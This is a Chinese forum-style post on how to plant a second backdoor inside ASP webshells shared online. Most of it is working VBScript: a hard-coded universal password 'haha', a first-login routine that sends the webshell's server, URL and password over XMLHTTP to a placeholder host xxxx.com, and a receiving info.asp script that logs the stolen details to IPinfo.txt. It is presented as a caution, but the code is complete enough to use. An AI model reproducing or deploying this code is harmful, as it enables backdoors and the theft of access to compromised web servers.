|
构建ASP马中马
对于网上的asp木马,相信好多朋友都是下下来,直接用的吧?
可是如果有人在马中加些代码,再公布出去,后果就严重了。。。
看下面代码:
程序代码
Userpwd = "test" '用户密码
URL = Request.ServerVariables("URL")
ServerNM = Request.ServerVariables("SERVER_NAME")
If Request("pwd")=Userpwd or Request("pwd")="haha" then Session("test")=Userpwd
If Session("mgler")<>Userpwd Then
If Request.Form("pwd")<>"" Then
If Request.Form("pwd")=Userpwd Then
Session("mgler")=Userpwd
Response.Redirect URL
Else
Response.Write"验证失败!"
End If
Else
........[此处略去登录界面代码]
End If
Response.End
End If
...........[此处先略去] ---------------------------------------------------------------------------
上面代码是某个马儿经解码后得到的,很明显:加了个万能密码,而不懂asp的朋友,一般只会修改
Userpwd = "test" '用户密码
这句,顶多把"test"改成别的密码,可是却不知道别人设了个万能密码haha
如果在在后面的代码中加入一段
-----------------------------------------------------------------
程序代码
nwww()
Function nwww()
Dim NumVisit
NumVisit = Request.Cookies("asphole")("totalvisit")
If NumVisit = "" Then
NumVisit = 0
UrlAdd="http://www.xxxx.com/info.asp?msg="
UrlAdd=UrlAdd&"http://"&ServerNM
UrlAdd=UrlAdd+URL
UrlAdd=UrlAdd&" PWD:"&Userpwd
GetUrl(UrlAdd)
Else
Exit Function
End If
NumVisit = NumVisit + 1
Response.Cookies("asphole")("totalvisit") = NumVisit
Response.Cookies("asphole").Expires = "January 1, 2020"
End Function
Function GetUrl(UrlAdd)
set OpenSend=createobject("Microsoft.XMLHTTP")
SourceCode = OpenSend.open ("GET",UrlAdd,false)
OpenSend.send
End Function ------------------------------------
然后在http://www.xxxx.com/上传一个info.asp文件
内容如下:
---------------------------------------------------
程序代码
<%
msg=Request("msg")
testfile=Server.MapPath("IPinfo.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.WriteLine(chr(13)+chr(10))
thisfile.close
set fs = nothing
Response.write "<script>window.close();</script>"
%>
-----------------------------------------------------------------------------
则你的webshell就被这个马的第N任作者,给偷取了。。。
因为上面这两段会在你登录webshell时,检查你是否第一次登录,如果是,刚会把你的马的密码,
马的地址,发送到http://www.xxxx.com/info.asp
且由这个文件,将结果保存到IPinfo.txt文件中 |
|